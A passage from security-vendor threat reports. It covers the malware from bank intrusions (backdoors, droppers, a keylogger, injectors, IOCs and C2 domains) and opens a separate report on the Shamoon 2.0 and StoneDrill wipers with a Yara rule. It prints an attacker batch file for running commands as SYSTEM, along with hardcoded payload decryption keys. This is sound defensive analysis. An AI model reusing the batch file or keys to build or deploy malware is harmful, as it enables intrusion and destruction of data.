and using the backdoor in listening mode, however there is a class that is responsible for loading or saving full configuration block from/to the registry. The registry value used to store the configuration depends on the parameter value (%parameter%) passed to the function. The registry configuration is located at HKCR\NR%parameter%\Content Setting. The main service procedure generates a unique instance ID which is set to pseudo-randomly selected 8 bytes. Some previous versions of the code relied on some pseudo-random values derived from the current time and MAC addresses of available network cards, but then was changed to a hardware independent value. This backdoor takes care of enabling ports in the Windows Firewall by creating a new firewall rule named "Windows Firewall Remote Management" using netsh.exe tool on Windows, which enables an incoming connection to any executable on the TCP port that is currently used by the backdoor. In case this rule has different name in other samples, it's quite easy to find it, because it doesn't specify which group of rules it belongs to, unlike all other default Windows Firewall rules. Sorting Firewall rules by group name may quickly reveal such an odd rule: The backdoor provides process and file management, as well as the creation of TCP connection relays. Another backdoor based on the same code was found in the same bank, however it was made as a standalone executable instead of a DLL. Short description and file properties are provided below: MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Link time: 2014.09.22 13:12:17 (GMT) Linker version: 6.0 Size: 106'496 bytes Export section timestamp: Fri Jan 8 16:41:26 UTC 2016 Original name: fmapi.dll Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Used in: Incident #1 This file is a backdoor that listens to a port specified in the %WINDIR%\temp\scave.dat file as an integer number. It supports about 20 commands, which enable the operator to: Collect general system information Search files/directories by name Start new process as current user Start process as another logged in user Start process and collect output from stdout Get file from specified path Drop new executables into system directory Compress and download files List processes and their respective loaded modules Kill processes by name Fake file timestamp by copying it from kernel32.dll Start a new backdoor session on another port List active terminals sessions with details Relay TCP connections to a remote host The executable contains a custom PE loader code that is identical to a custom PE loader from Lazarus Loader modules dubbed by Novetta as LimaAlfa. This module contains a small embedded executable in the data section, encrypted with a trivial (xor 0xb1, add 0x4f) method. The MZ header is wiped from that embedded file and is restored during decryption routine. Some other properties of the small embedded file are listed below (MD5: 8387ceba0c020a650e1add75d24967f2). This executable module is used to force unloading a DLL from memory. Malware 8: Trojan Dropper Discovered path: C:\WINDOWS\igfxpers.exe MD5: 6eec1de7708020a25ee38a0822a59e88 Size: 253'952 bytes Time modified: 2016-01-18 06:08:36 (GMT) Time accessed: 2016-08-22 12:38:37 (GMT) Time changed: 2016-08-22 13:04:42 (GMT) Time created: 2016-01-18 06:08:32 (GMT) Link time: 2014-09-22 13:12:17 (GMT) Linker version: 6.0 Other filenames: hkcmd.exe Used in: Incident #1 This is a dropper of an embedded malware. It uses RC4 to decrypt resources and drop and start a new process from disk. The RC4 is an MD5 of a command line argument (secret passphrase) following "-x" parameter. The second command line argument "-e" defines the name for the new service to be registered. The MD5 hash of the passphrase is stored in the registry and is used by the DLL Loader in the later stage. The binary picks one of the names to drop the payload to, and chooses a corresponding service description when registering. FileName Description wanmgr WiFi Connection Management Service vrddrv Windows Virtual Disk Service trufont Font Cache Service wmvdec Media Center Network Sharing biomgs Biometric Service gpcpolicy Group Policy Server Service diagmgs Diagnostic Policy Client waindex Windows Indexing Service trabcon Network Traffic Balancing Service authen Remote Logon Authentication The dropped file is saved into %SYSTEMROOT%\System32\%FileName%.dll on Windows 32bit and %SYSTEMROOT%\SysWow64\%FileName%.dll on Windows 64-bit. Known command line usage: hkcmd.exe -x -e LogonHours We managed to find the right password (20+ characters long), which enabled us to decrypt the payload. Malware 9: DLL Loader MD5: 268dca9ad0dcb4d95f95a80ec621924f Link time: 2014.12.08 13:12:17 (GMT) Linker version: 6.0 Size: 192'512 bytes Export section timestamp: Fri Jan 8 16:54:25 UTC 2016 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Original name: ext-ms-win-ntuser-dialogbox-l1-1-0.dll Used in: Incident #1 This file is dropped by the Trojan Dropper described above. It is a malware loader service, which gets the decryption key from the registry, uses RC4 to decrypt an embedded resource and start the payload. The RC4 decryption key is obtained from HKCR\NR%parameter%\ContextHandler value, which is set by the Trojan Dropper during malware installation. The embedded resource contains one of the Passive Backdoors described in this paper. Another variant of the DLL loader heavily uses system registry to fetch the decryption key, and the encrypted payload. Name: lcsvsvc.dll MD5: c635e0aa816ba5fe6500ca9ecf34bd06 SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120 File size: 1'545'216 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2015.12.09 14:12:41 (GMT) Exp. time: 2016.03.19 18:32:34 (GMT) Linker version: 10.0 Export module Name: msshooks.dll Used in: Incident #2 This module is similar to other 64-bit variants. However, it is registered as a service and gets an RC4 key and the payload from the registry values of its own service. The name of the service is not fixed and is probably set during installation stage. Here is the registry value path for the RC4 key and encrypted payload respectively: HKLM\SYSTEM\CurrentControlSet\Services\%SERVICENAME%\Security\Data2 HKLM\SYSTEM\CurrentControlSet\Services\%SERVICENAME%\Security\Data0 The code gets the 16-bytes RC4 key from the registry (f9 65 8b c9 ec 12 f9 ae 50 e6 26 d7 70 77 ac 1e) and encrypted payload, decrypts the payload with that key and then decrypts it one more time with the following hardcoded key (previously seen in the backdoor management tool): 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 The final decrypted payload is loaded and started as a DLL in memory. At the time of analysis the attackers managed to wipe the payload in the registry with a benign system file data, so only the RC4 key remained untouched and was found in the registry. Malware 10: Keylogger MD5: 5ebfe9a9ab9c2c4b200508ae5d91f067 Known filenames: NCVlan.dat File size: 73'216 bytes Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.04.06 07:38:57 (GMT) Linker version: 10.0 Original name: grep.dll Used in: Incident #1 This module is a user-mode keylogger. It contains an export function with an empty name, which has the main functionality of the module. Upon starting it creates a new thread, which suggests that it has to be loaded by a custom PE loader (probably by the DLL Injector described in this paper, MD5: 949e1e35e09b25fca3927d3878d72bf4). The main thread registers a new class named "Shell TrayCls%RANDOM%", where %RANDOM% value is an integer returned by the system rand function seeded with the current system time. Next, it creates a window called "Shell Tray%RANDOM%". The new window registers a system-wide keyboard hook and starts recording keypresses and Unicode text in context of the clipboard. The data is saved into a current user profile directory in a file that is named after the username via the following template string: NTUSER{%USERNAME%}.TxS.blf. For example, the full path that we discovered was "C:\Users\[redacted]\NTUSER.DAT{[redacted operator]}.TxS.blf". The data written in the file is encrypted with RC4 with the following hardcoded 64-bytes key: 53 55 4D A2 30 55 53 44 30 2C 30 3E 27 44 42 54 20 4C 49 4D 49 54 43 55 53 44 30 2C 0D 0A 43 44 54 19 53 55 4D 7F 31 55 53 44 32 36 35 2C 30 E4 37 43 44 54 98 4C 49 4D 49 54 1B 55 53 44 30 2C The RC4 key is not entirely random and seems to contain chunks of readable ASCII text related to some database contents or queries: "SUM.0USD0,0>'DBT LIMITCUSD0,..CDT.SUM.1USD265,0.7CDT.LIMIT.USD0," We assume this is done to complicate the recognition of a password-like string by eye, or use a value that would cause some false-positives when scanning for such a pattern. The keylogger data file is a binary log that contains sequences of records organized in blocks which have the following events inside: 1. Session Start (Logon): Contains username, type of session (rdp, console, etc), session id. 2. Session Activity: Contains active windows name and sequence of typed keys. 3. Session End (Logoff): Contains username, session id. Every event record contains a DWORD timestamp. The module also starts a watchdog thread that keeps monitoring the creation of a trigger-file called ODBCREP.HLP in the directory of the current DLL. If such file is found, the keylogger removes the keyboard hook and unloads from the process immediately. Malware 11: Trojan Dropper 2 Filename: gpsvc.exe MD5: 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae SHA1: bedceafa2109139c793cb158cec9fa48f980ff2b File Size: 3449344 bytes File Type: PE32+ executable (console) x86-64, for MS Windows Link Time: 2016.12.08 00:53:20 (GMT) Linker version: 10.0 Used in: Polish bank This module is a command line malware dropper/installer, which contains two data containers in the resource section. The dropper command line takes the following: gpsvc.exe -e %name% - drop payload on disk gpsvc.exe -l - lists all registered services under netsvcs registry key3. gpsvc.exe -a %param2% %param3% - registers a news service using %param2% as the service name and %param3% as the path to DLL file of service binary. If the %param3% doesn't contain "\" character, the code uses it as the filename in %SYSTEMROOT%\System32\. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs When -e option is used, the files stored in the containers are extracted, decrypted where encryption is used, and dropped to a disk in two locations: one goes to the current directory as %name%, another is saved into %SYSTEMROOT%\Help\%name%.chm. The value of the %name% parameter is passed via command line argument. The container starts with a 40 bytes header describing the start of the payload, container and the payload data inside. The data may or may not be encrypted and there is no specific flag identifying that in container itself. The code processing the container will know whether the container's payload requires decryption. Upon successful extraction of the files, the dropper will show the following message on the command line: Fig. Report of successful payload deployment. The first extracted file is decrypted using the following key and Spritz algorithm, a variant of the RC4 family: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 E5 The second file is extracted as-is, however, brief analysis of its header suggested that it is encrypted with the same crypto and key. The dropped files after decryption have the following MD5 hashes: ad5485fac7fed74d112799600edb2fbf 16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a278d0ec24458c8e47672529835117 SHA1: aa115e6587a535146b7493d6c02896a7d322879e File size: 1515008 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:43 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 This module is packed with a commercial product known as the Enigma Protector, which was developed by a Russian software developer Vladimir Sukhov in 2004. This module is implemented as a service binary with ServiceMain procedure. On starting it imports all necessary system API functions, and searches for the .CHM file inside %SYSTEMROOT%\Help\%name%.chm, where %name% matches the name of current DLL module. Then it decrypts the payload using the Spritz algorithm with the hardcoded key: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 Next, it searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process. The target process can be one of two: 1. lsass.exe 2. itself (current service process) The process to inject the code is hardcoded and defined during the compilation of the module. According to the code the current module injects payload into itself. Some more similar DLL Injector samples were found in Europe and in the Middle East. The following files were discovered: Filename: srservice.dll MD5: e29fe3c181ac9ddbb242688b151f3310 SHA1: 7260340b7d7b08b7a9c7e27d9226e17b7170a436 File size: 79360 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp. time: 2016.10.22 07:08:16 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 Filename: msv2_0.dll MD5: 474f08fb4a0b8c9e1b88349098de10b1 SHA1: 487f64dc8e98e443886b994b121f4a0c3b1aa43f File size: 78848 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:39 (GMT) Exp. time: 2016.12.08 00:53:39 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 Filename: SRService.dll MD5: 07e13b985c79ef10802e75aadfac6408 SHA1: a0c02ce526d5c348519905710935e22583d81be7 File size: 79360 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp. time: 2016.10.22 07:08:16(GMT) Linker version: 10.0 Used in: the Middle East These files are different from those previously seen in DLL Injector, because they are not packed with Enigma Protector. They also contain different 32-byte Spritz keys: 65 06 18 33 60 10 48 F7 57 9B 98 76 CA B5 29 60 71 CB 0B 97 7E D4 A2 F9 22 CC 4E 79 52 64 4A 75 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 78 CB C3 77 35 5C F2 82 8A 3A 08 71 6A D5 C3 D9 A1 1B 6A BA C5 9C 5D BC 6A EC F0 B8 96 49 79 7A The purpose of these variants is the same - decrypt the corresponding CHM file with the payload and inject it in the memory of lsass.exe or current process. The payloads found in these cases were: fde55de117cc611826db0983bc054624 (Active Advanced Backdoor Type B) 17bc6f5b672b7e128cd5df51cdf10d37 (Active Advanced Backdoor Type B) Malware 13: Active Backdoors 2 Filename: %name%.chm MD5: ad5485fac7fed74d112799600edb2fbf SHA1: a107f1046f5224fdb3a5826fa6f940a981fe65a1 File size: 1861632 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Export time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll This module is dropped to the disk in .CHM file and stored in encrypted form. It can be decrypted and started with the DLL Injector module (i.e. 16a278d0ec24458c8e47672529835117). Like the other file in the same package, it is wrapped with Enigma Protector. The module has no business logic starting from the entry point. Core logics are called from one of two exported functions: ?DllRegister@@YAX_KK0K0PEAXK@Z (start backdoor with default parameters) InitDll (start backdoor with configuration passed via parameter) The InitDll function sets up basic requirements and prepares paths to other essential components, which are expected in the following filepaths: %SYSTEMROOT%\Help\*.chm %SYSTEMROOT%\Help\*.hlp The .hlp file from the Help Directory is loaded and decrypted using Spritz algorithm4 and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The module contains an embedded default config which is saved to .hlp file in encrypted form if the file is missing. It contains the following C2 information: exbonus.mrbasic[.]com:443 Similar to Active Advanced Backdoor Type A (see md5: 2ef2703cfc9f6858ad9527588198b1b6) it doesn't use resolved IP of the C2 directly, but XORs the DNS query result with hardcoded key 0x4F833D5B. The backdoor protocol supports the following commands sent as a DWORD, however this DWORD is convertible to a meaningful ASCII representation of the command as shown below: Command ID Description NONE No actions. GINF Get system information: hostname, OS version, CPU type, system locale, RAM, disk free space, BIOS version and manufacturer, list of network interface cards with properties. SLEP Disconnect from C2. Save current time and show no network activity for specified time. It seems like this sleep is persistent over program restarts. HIBN Disconnect from C2 and show no network activity. DRIV Show all available drives and used/available space on them. List files in specified directory. DIRP List files and directories recursively starting from specified path. CHDR Change current directory. A very similar implementation of the Sprtiz algorithm in C is available at https://github.com/jedisct1/spritz/blob/master/spritz.c Run specified command. RUNX Run specified command as another Terminal Session user. Delete file(s) based on file path pattern. WIPE Wipe file(s) based on file path pattern. A hardcoded pattern (not defined in current sample) or randomly generated bytestream is used. Wiping with random data is done three times. A DWORD constant is present from some older wiper's code pattern: 0xE77E00FF. MOVE Move file. FTIM Set time for file(s) specified by file path pattern. Use %systemroot%\kernel32.dll as source of timestamps. If kernel32.dll is not found, a hardcoded value is used: 12:12:46.493 03 September 2008 NEWF Create a directory. ZDWN Compress and download specified file path recursively. DOWN Compress and download a single file. UPLD Upload and uncompress file to the specified directory. The directory is created if it doesn't exist. PVEW Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. PKIL Kill process by name or PID. CMDL Execute a command and read the output. This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. Set a flag to terminate immediately. Cleanup and shutdown. GCFG Get current backdoor configuration. SCFG Set new backdoor configuration. TCON Test connection with remote hosts. Open TCP connection to the specified host and port. Send 2 random bytes to test connection. PEEX Inject an executable module into address space of explorer.exe. PEIN Inject an executable module into address space of process defined by PID. An identical file was found in Incident #2: Filename: msv2_0.chm.dec MD5: 17bc6f5b672b7e128cd5df51cdf10d37 SHA1: 072245dc2339f8cd8d9d56b479ba5b8a0d581ced File size: 729088 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Exp. time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll Another similar file was used during the attack in Incident #2: MD5: fde55de117cc611826db0983bc054624 SHA1: 1eff40761643f310a5cd7449230d5cfe9bc2e15f File size: 729088 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:09:50 (GMT) Exp. time: 2016.10.22 07:09:48 (GMT) Linker version: 10.0 Export module name: aclui.dll The .hlp file from the Help Directory is loaded and decrypted using the Spritz algorithm and the familiar key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The .hlp file contains references to two C2 servers, which refer to: tradeboard.mefound[.]com:443 movis-es.ignorelist[.]com:443 The following table shows connections between known C2s Domain IP xor Key (Real C2) First Seen Last Seen Resolved IP (C2 disguise) exbonus.mrbasic[.]com 218.224.125[.]66 2017-01-29 2017-02-06 129.221.254.13 exbonus.mrbasic[.]com 82.144.131[.]5 2017-02-06 2017-02-06 9.173.0.74 tradeboard.mefound[.]com 218.224.125[.]66 2017-01-29 2017-01-31 129.221.254.13 tradeboard.mefound[.]com 82.144.131[.]5 2017-02-01 2017-02-06 9.173.0.74 movis-es.ignorelist[.]com 82.144.131[.]5 2017-02-01 2017-02-06 9.173.0.74 Similar two 32-bit based samples were used in an attack on a target in Costa Rica in 2016: 2de01aac95f8703163da7633993fb447 5fbfeec97e967325af49fa4f65bb2265 These samples contain the same backdoor commands and rely on the same cryptoalgorithm and identical hardcoded crypto key. However, these files do not contain embedded config with default C2 domain. Malware 14: Privileged Execution Batch Name: msdtc.bat MD5: 3b1dfeb298d0fb27c31944907d900c1d SHA1: b9353e2e22cb69a9cd967181107113a12197c645 Size: 454 bytes Type: Windows batch file Used in: Polish bank The following Windows batch file was found during a security sweep in one of the attacked banks: @echo off SET cmd_path=C:\Windows\Temp\TMP298.tmp copy NUL %cmd_path% :loop ping -n 1 1.1.1.1 > nul for /f "tokens=*" %%a in (%cmd_path%) do ( if "%%a" equ "die" ( rem del /a %cmd_path% rem del /a %cmd_path%.ret echo die >> %cmd_path%.ret goto end ) else ( echo %%a >> %cmd_path%.ret %%a >> %cmd_path%.ret 2>&1 echo -------------------------------------------------------- >> %cmd_path%.ret copy NUL %cmd_path% goto loop The purpose of this file is to execute one or more commands on the command line and redirect the output to a file on disk. The list of commands to run is located in the following file path (let's call it source file): C:\Windows\Temp\TMP298.tmp. Once the commands are executed, it sleeps for one second and starts the process again until the source file contains a line with just one word in it: "die". This batch file opens and runs every command mentioned in the .tmp file and saves the output to C:\Windows\Temp\TMP298.tmp.ret. Once it finds the word "die" in the source, it deletes the source and the output file and quits. However, this batch file is either broken or implemented with a bug. Note the line "goto end" and no label called ":end" in the batch file. We can only speculate how this file was used in the real attack, but one theory looks to be the most probable: it was used as an awkward way to execute commands with SYSTEM user privileges. While it is possible to run commands as a SYSTEM user when you have administrative privileges on a target machine, getting an interactive shell requires more work. A batch file like this could run in the background, quietly spawning cmd.exe in a loop and nonresource exhausting mode. Passing commands to the source file would allow attackers to conveniently execute them the next second and get the output via another text file. This infinite loop could be easily broken with the "die" keyword. So far, we believe that this file could serve as a privilege escalation trampoline for other unprivileged processes (such as usermode backdoor). Malware 14. Backdoor Management Tool Filename: gpsvc.exe MD5: 85d316590edfb4212049c4490db08c4b SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 File Size: 753664 bytes File Type: PE32 executable (console) Intel 80386, for MS Windows Link Time: 2015.08.24 10:21:52 (GMT) Linker version: 8.0 This module is a commandline tool that helps to install a new service. In addition it is capable of doing code injection and works as a service itself. The binary is protected with Enigma Protector. If the module is started without commandline arguments, it quits immediately. Depending on commandline options passed the tool may work in different modes. 1. Service Enumeration Mode Commandline: gpsvc.exe -l This mode is selected with commandline option -v. In this case the module get a list of services from hardcoded registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost\netsvcs. This value is a present on clean Windows installation and usually contains a list of standard service names that may generate some network activity. The code iterates through available services and prints to standard output every service it managed to open with read privileges (used just to confirm that the service is running). After this the tool exits. 2. Service Activation Mode Commandline: gpsvc.exe -s %param1% %param2% In this mode the module registers and starts a new service if it doesn't exist. The service name is based on the current executable filename. The following commandline is stored in the registry to start the service: "%self_path%" -k %param1% %param2% Where %self_path% is full path to current executable and %param1%, %param2% are passed as-is from current commandline. 3. File Payload Deployment Commandline: gpsvc.exe -e %param1% %param2% In this mode the module extracts and stores additional executable on the filesystem (filepath is inside installation cryptocontainer). It uses %param2% to open the file as a cryptocontainer. Cryptocontainer is encrypted with two RC4 keys: A. KeyA which is 16 bytes of MD5 value from a string which is passed via %param1% B. KeyB is a hardcoded 32-byte binary value: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 It contains payload data to be installed into registry and some paths. 4. Registry Payload Deployment Commandline: gpsvc.exe -f %param1% %param2% This mode is very similar to "File Payload Deployment" described above, but in this case the module is instructed to install the payload into the registry value. 5. Service Test Commandline: gpsvc.exe -o %param1% This mode is used to ensure that the service is running correctly by checking that a special event object named %param1% exists. 6. Service Termination Commandline: gpsvc.exe -t %param1% This mode is used signal the running service via special event object named %param1% to terminate execution. 7. Payload Injection Mode Commandline: gpsvc.exe -k %param1% %param2% In this mode the module assumes that it can be a service binary, so it tries to behave as service. If it fails it falls back to regular standalone executable mode. Main purpose of this code is to find payload in the registry, decrypt it and inject into target process memory. The payload is stored in the following registry value: HKLM\SYSTEM\CurrentControlSet\services\%servicename%\Security\Data2 It is encrypted with RC4, and key is taken from the registry using the following binary value (16 bytes): HKLM\SYSTEM\CurrentControlSet\services\%servicename%\Security\Data3. The cryptocontainer used by this module contains a magic value after it's decrypted with MD5 of the secret passed via commandline and hardcoded RC4 key. At offset 4 it has to contain the following DWORD: 0xBC0F1DAD (AD 1D 0F BC). Appendix: Indicator of Compromise Malware Hosts sap.misapor[.]ch tradeboard.mefound[.]com:443 movis-es.ignorelist[.]com:443 update.toythieves[.]com:8080 update.toythieves[.]com:443 exbonus.mrbasic[.]com:443 Malware Hashes 02f75c2b47b1733f1889d6bbc026157c 06cd99f0f9f152655469156059a8ea25 07e13b985c79ef10802e75aadfac6408 09a77c0cb8137df82efc0de5c7fee46e 0abdaebbdbd5e6507e6db15f628d6fd7 16a278d0ec24458c8e47672529835117 17bc6f5b672b7e128cd5df51cdf10d37 198760a270a19091582a5bd841fbaec0 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1d0e79feb6d7ed23eb1bf7f257ce4fee 268dca9ad0dcb4d95f95a80ec621924f 2963cd266e54bd136a966bf491507bbf 2de01aac95f8703163da7633993fb447 2ef2703cfc9f6858ad9527588198b1b6 3b1dfeb298d0fb27c31944907d900c1d 459593079763f4ae74986070f47452cf 474f08fb4a0b8c9e1b88349098de10b1 579e45a09dc2370c71515bd0870b2078 5d0ffbc8389f27b0649696f0ef5b3cfe 5ebfe9a9ab9c2c4b200508ae5d91f067 5fbfeec97e967325af49fa4f65bb2265 6eec1de7708020a25ee38a0822a59e88 7413f08e12f7a4b48342a4b530c8b785 8387ceba0c020a650e1add75d24967f2 85d316590edfb4212049c4490db08c4b 949e1e35e09b25fca3927d3878d72bf4 954f50301207c52e7616cc490b8b4d3c 9d1db33d89ce9d44354dcba9ebba4c2d ad5485fac7fed74d112799600edb2fbf b135a56b0486eb4c85e304e636996ba1 b9be8d53542f5b4abad4687a891b1c03 bbd703f0d6b1cad4ff8f3d2ee3cc073c c1364bbf63b3617b25b58209e4529d8c c635e0aa816ba5fe6500ca9ecf34bd06 cb65d885f4799dbdf80af2214ecdc5fa ce6e55abfe1e7767531eaf1036a5db3d e29fe3c181ac9ddbb242688b151f3310 e62a52073fd7bfd251efca9906580839 f5e0f57684e9da7ef96dd459b554fded fde55de117cc611826db0983bc054624 FROM SHAMOON TO STONEDRILL Wipers attacking Saudi organizations and beyond Beginning in November 2016, Kaspersky Lab observed a new wave of wiper attacks directed at multiple targets in the Middle East. The malware used in the new attacks was a variant of the infamous Shamoon worm that targeted Saudi Aramco and Rasgas back in 2012. Dormant for four years, one of the most mysterious wipers in history has returned. So far, we have observed three waves of attacks of the Shamoon 2.0 malware, activated on 17 November 2016, 29 November 2016 and 23 January 2017. Also known as Disttrack, Shamoon is a highly destructive malware family that effectively wipes the victim machine. A group known as the Cutting Sword of Justice took credit for the Saudi Aramco attack by posting a Pastebin message on the day of the attack (back in 2012), and justified the attack as a measure against the Saudi monarchy. The Shamoon 2.0 attacks observed since November 2016 have targeted organizations in various critical and economic sectors in Saudi Arabia. Just like the previous variant, the Shamoon 2.0 wiper aims for the mass destruction of systems inside targeted organizations. The new attacks share many similarities with the 2012 wave, though featuring new tools and techniques. During the first stage, the attackers obtain administrator credentials for the victim network. Next, they build a custom wiper (Shamoon 2.0) which leverages these credentials to spread widely inside the organization. Finally, on a predefined date, the wiper activates, rendering the victim s machines completely inoperable. It should be noted that the final stages of the attacks have their activity completely automated, without the need for communication with the command and control center. While investigating the Shamoon 2.0 attacks, Kaspersky Lab also discovered a previously unknown wiper malware which appears to be targeting organizations in Saudi Arabia. We calling this new wiper StoneDrill. StoneDrill has several style similarities to Shamoon, with multiple interesting factors and techniques to allow for the better evasion of detection. In addition to suspected Saudi targets, one victim of StoneDrill was observed on the Kaspersky Security Network (KSN) in Europe. This makes us believe the threat actor behind StoneDrill is expanding its wiping operations from the Middle East to Europe. To summarize some of the characteristics of the new wiper attacks, for both Shamoon and StoneDrill: Shamoon 2.0 includes a fully functional ransomware module, in addition to its common wiping functionality. Shamoon 2.0 has both 32-bit and 64-bit components. The Shamoon samples we analyzed in January 2017 do not implement any command and control (C&C) communication; previous ones included a basic C&C functionality that referenced local servers in the victim s network. StoneDrill makes heavy use of evasion techniques to avoid sandbox execution. While Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Of course, we do not exclude the possibility of false flags. StoneDrill does not use drivers during deployment (unlike Shamoon) but relies on memory injection of the wiping module into the victim s preferred browser. Several similarities exist between Shamoon and StoneDrill. Multiple similarities were found between StoneDrill and previously analysed NewsBeef attacks. What is new in this report? This report provides new insights into the Shamoon 2.0 and StoneDrill attacks, including: 1. The discovery techniques and strategies we used for Shamoon and StoneDrill. 2. Details on the ransomware functionality found in Shamoon 2.0. This functionality is currently inactive but could be used in future attacks. 3. Details on the newly found StoneDrill functions, including its destructive capabilities (even with limited user privileges). 4. Details on the similarities between malware styles and malware components source code found in Shamoon, StoneDrill and NewsBeef. 1. From Shamoon to StoneDrill: the discovery 1.1. Shamoon: It s all about the resources Few people ever expected the return of Shamoon after four years of silence. This made the news from the Middle East on 17 November 2016 quite surprising, and sent multiple shockwaves through the industry. After the second wave of attacks, which took place on 29 November 2016, it became quite clear that Shamoon 2.0 was no longer an isolated incident, but part of a new series of attacks and we should expect more waves coming in. In order to make sure that Kaspersky Lab customers were protected, we started to develop specific detection strategies and hunt for possible new variants. To create the new detections, we used multiple ideas: The Shamoon wipers have their additional payloads stored as encrypted resources. Just like in 2012, the early Shamoon 2.0 samples used resources with three very specific names - "PKCS7", "PKCS12" and "X509". Because of their uniqueness it was relatively easy to find and detect them just by the resource names and their high entropy. Unfortunately, newer versions had random resource names like "ICO", "LANG" and "MENU", so the ability to easily find new samples was lost. However, all programmers, especially malware writers, have their own habits, and the authors of Shamoon are no exception: Since the Shamoon 1.0 story, from 2012 (6dd571b84470ad9caad30a6a6acf491e) until 2016 (2cd0a5f1e9bcce6807e57ec8477d222a) many samples had one additional encrypted resource with a specific, although non-unique name "101". This finding got us thinking that the Shamoon attackers can re-use this pattern and we investigated ways of using this to hunt for new, unknown malware generations from their side. As researchers, we tested a lot of different approaches to find similar malicious samples based on this artefact, and one of them worked unexpectedly. Here s the logic we used to create the detection: 1. We assumed that for the next waves of attack the authors would continue to recompile the Shamoon 2.0 version from 2016, while trying to avoid AV detection, so we focused mostly on the newest Shamoon versions. 2. We assumed that the wiper would again enumerate all files inside folders, so it would still call Windows API functions FindFirstFile and FindNextFile. 3. Because it uses encrypted resources, we assumed that it would find and load them with the Windows API functions FindResource and LoadResource. 4. Inside all known versions of Shamoon 2.0, the resource "101" was found, with the following properties: Level of entropy > 7.8 - that means the data inside is encrypted or compressed. Size about 30 KB - we ve decided to set the minimum limit at 20 KB. Language = neutral (not set); all other resources had the languages "Arabic (Yemen)" or "English United States". Does not contain an unencrypted PE executable file inside. After initial testing, we decided to add more search criteria to limit the number of possible false positive detections: Shamoon samples had no digital signature, so the sample would be unsigned. All known Shamoon samples with resource "101" had a maximum file size of 370 KB, so it's reasonable to limit the file size to twice that number - 700 KB. The number of resources inside the sample should not be too high - less than 15. Our favorite malware hunting tool, Yara, provides a rule-bused approach to create descriptions of malware families based on textual or binary patterns. Here s the detection rule we wrote using all the above conditions: import "pe" import "math" rule susp_file_enumerator_with_encrypted_resource_101 { meta: copyright = "Kaspersky Lab" description = "Generic detection for samples that enumerate files with encrypted resource called 101" hash = "2cd0a5f1e9bcce6807e57ec8477d222a" hash = "c843046e54b755ec63ccb09d0a689674" version = "1.4" strings: $mz = "This program cannot be run in DOS mode." $a1 = "FindFirstFile" ascii wide nocase $a2 = "FindNextFile" ascii wide nocase $a3 = "FindResource" ascii wide nocase $a4 = "LoadResource" ascii wide nocase condition: uint16(0) == 0x5A4D and all of them and filesize < 700000 and pe.number_of_sections > 4 and pe.number_of_signatures == 0 and pe.number_of_resources > 1 and pe.number_of_resources < 15 and for any i in (0..pe.number_of_resources - 1): (math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and pe.resources[i].id == 101 and pe.resources[i].length > 20000 and pe.resources[i].language == 0 and not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length)) While running the above Yara rule on Kaspersky Lab s samples selection, we found an interesting, fresh sample. After a quick analysis, we realized it was yet another wiper. However, it was not Shamoon, but something different. We ve decided to call it StoneDrill. 1.2. From StoneDrill to NewsBeef Having identified the StoneDrill sample through the Yara technique above, we started looking for other possibly related samples. One Yara technique that has proved useful in the past for finding new malware variants is the development of Yara rules for decrypted malware components. During attacks, malware components can 